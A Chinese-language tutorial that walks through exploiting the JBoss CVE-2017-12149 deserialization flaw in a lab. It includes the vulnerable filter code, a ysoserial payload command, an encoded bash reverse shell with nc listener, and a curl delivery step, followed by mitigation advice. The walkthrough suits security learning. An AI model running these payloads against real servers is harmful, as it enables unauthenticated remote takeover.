CVE-2017-12149JBoss 反序列化漏洞利用

CVE-2017-12149

  • 漏洞描述
    互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。
  • 影响范围
    漏洞影响5.x和6.x版本的JBOSSAS。
  • 漏洞原理
  • JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。
  • Java序列化:把Java对象转换为字节序列的过程
  • Java反序列化:指把字节序列恢复为Java对象的过程。
  • 漏洞分析
  • Java序列化与反序列化作用:便于保存数据,或者进行数据传输。
  • Java序列化文件文件头对于序列化的标识:AC ED 00 05
序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);

反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
  • 漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException
  {
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if ((user == null) && (this.readOnlyContext != null))
    {
      ServletInputStream sis = request.getInputStream();
      ObjectInputStream ois = new ObjectInputStream(sis);
      MarshalledInvocation mi = null;
      try
      {
        mi = (MarshalledInvocation)ois.readObject();
      }
      catch (ClassNotFoundException e)
      {
        throw new ServletException("Failed to read MarshalledInvocation", e);
      }
      request.setAttribute("MarshalledInvocation", mi);

      mi.setMethodMap(this.namingMethodMap);
      Method m = mi.getMethod();
      if (m != null) {
        validateAccess(m, mi);
      }
    }
    chain.doFilter(request, response);
  }

直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

实验环境

  • 操作机:kali linux 64位。
  • java.lang.runtime.exec() payloads编码

    实验工具

  • ysoserial:是一款拥有多种不同利用库的Java反序列化漏洞payload生成工具,能方便的生成命令执行Payload并序列化。本实验主要使用生成Payload功能。
  • Github:ysoserial
  • 使用参考博客:java反序列化工具ysoserial分析 – angelwhu

    实验步骤

    Step:1 ysoserial

  • 在终端输入firefox http://172.16.12.2:8080打开目标机jboss默认界面。之后进入漏洞页面http://172.16.12.2:8080/invoker/readonly。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。

  • 使用工具ysoserial来生成序列化数据,构造POC(Proof Of Concept),使用bash反弹Shellnc接受反弹回来的Shell
  • 从github下载工具ysoserial 后,打开源代码能看到在处理数据时使用了Runtime.getRuntime().exec(String cmd),此时调用Runtime.getRuntime().exec(String command, String[] envp, File dir),直接构造的字符串会被下面的代码分割:
/**
     * Constructs a string tokenizer for the specified string. The
     * tokenizer uses the default delimiter set, which is
     * <code>"&nbsp;\t\n\r\f"</code>: the space character,
     * the tab character, the newline character, the carriage-return character,
     * and the form-feed character. Delimiter characters themselves will
     * not be treated as tokens.
     *
     * @param   str   a string to be parsed.
     * @exception NullPointerException if str is <CODE>null</CODE>
     */
    public StringTokenizer(String str) {
        this(str, " \t\n\r\f", false);
    }
  • StringTokenizer会对\t\n\r\f进行分割,所以如果输入命令
bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`
  • 会变成
bash
-c
`bash
-i
>&
/dev/tcp/127.0.0.1/21
0>&1`

-此时需要进行编码,编码网站,勾选bash

注:Linux下的${IFS}也可进行编码,${IFS}的hex值是0x20 0x09 0x0a,因此不被分割,可以利用在写shell时的命令中。需要注意是,${IFS}编码后的命令中有空格,重定时,文件名中有空格会造成命令解析不完整,写入文件会失败。而在反弹shell命令中,就会导致模糊的重定向错误。

Step:2 构造生成Payload

  • ysoserial的用法:java -jar ysoserial.jar [payload] ‘[command]‘
  • [payload] : 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库。
  • [command] : 待执行的命令。
  • 执行命令:
java  -jar  ysoserial.jar  CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

  • 设置nc本地监听端口6666nc -l -p 6666
  • 发送请求,获取Shell。服务器接收到以POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹至Kali机器的6666端口。我们使用curl命令发送请求,打开命令行,执行如下代码:curl http://172.16.12.2:8080/invoker/readonly --data-binary @poc.ser
  • Shell弹回至nc监听的端口。

漏洞建议:

  • 升级新版本。
  • 删除http-invoker.sar 组件。
  • 添加如下代码至 http-invoker.sarweb.xmlsecurity-constraint 标签中:<url-pattern>/*</url-pattern>用于对 http invoker 组件进行访问控制。

参考资料

原文地址:https://www.cnblogs.com/ikari/p/8989821.html

时间: 2024-10-08 10:33:34

CVE-2017-12149JBoss 反序列化漏洞利用的相关文章

CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用--自测

1.下载jboss http://jbossas.jboss.org/downloads/ 2.安装配置,自己百度 3.修改配置,端口和ip远程可以访问 路径:jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml 4.启动服务 到bin目录下启动run.bat 5.访问ip+端口(8082) 6.验证是否存在漏洞 http://ip:8082/invoker/readonly/ 返回500 一般就是存在了. 7.下载利用工

WebLogic反序列化漏洞导致getshell

本文主要是讲述在主机渗透中我们经常使用的一条路径(存活判断-端口扫描-端口删选(web端口)-针对性渗透(web渗透))进行渗透,其中主要涉及发现漏洞.利用漏洞.获取上传位置等过程中自己的一点经验技巧.简单来说,本文主要是对某主机进行渗透的全过程记录!如有不合理或错误的地方,烦请各位多多指教,谢谢! 1.1    主机存活判断 当我们得到一个主机IP时,我们首先对它进行存活判断,最简单的就是通过ping命令,但是如果主机是禁ping那么我们可能会判断失误,因此我们需要使用nmap来再次进行存活判

weblogic AND jboss 反序列化漏洞

C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF server/$CONFIG/deploy/http-invoker.sar/http-invoker.war/WEB-INF/w eb.xml 文件,将标签中的 url-pattern 修改为/*,并注释掉其中的两个 http-method. 1.weblogic反序列化漏洞 通过java反序列化漏洞利用

ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加方便.序列化是将对象转换为字符串以便存储传输的一种方式.而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用.在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize().反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控

PHP反序列化漏洞代码审计—学习资料

1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字. 按个人理解就是: serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象. 当然从本质上来说,反序列化的数据本身是没有危害的,用户可控数据进行反序列化是存在危害的. B.PH

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

(单例设计模式之一)饿汉式的反射与反序列化漏洞

1.闲话少说,直接上代码. import java.io.Serializable;//饿汉式public class Singleton01 implements Serializable{    //1.私有的属性    private static Singleton01 instance=new Singleton01();    //2.私有的构造器    private Singleton01(){}    //3.共有的get()方法    public static  Singl

20160509-有一次整理下Java apache commons那个反序列化漏洞的原理

UI.class->GetShellWL.Connect(Host, Port); 就是反序列化的类 创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下: 接口: public interface InitApp extends java.rmi.Remote { String runCmd(String cmd) ; String putFile(String Content,String Path); } 上传后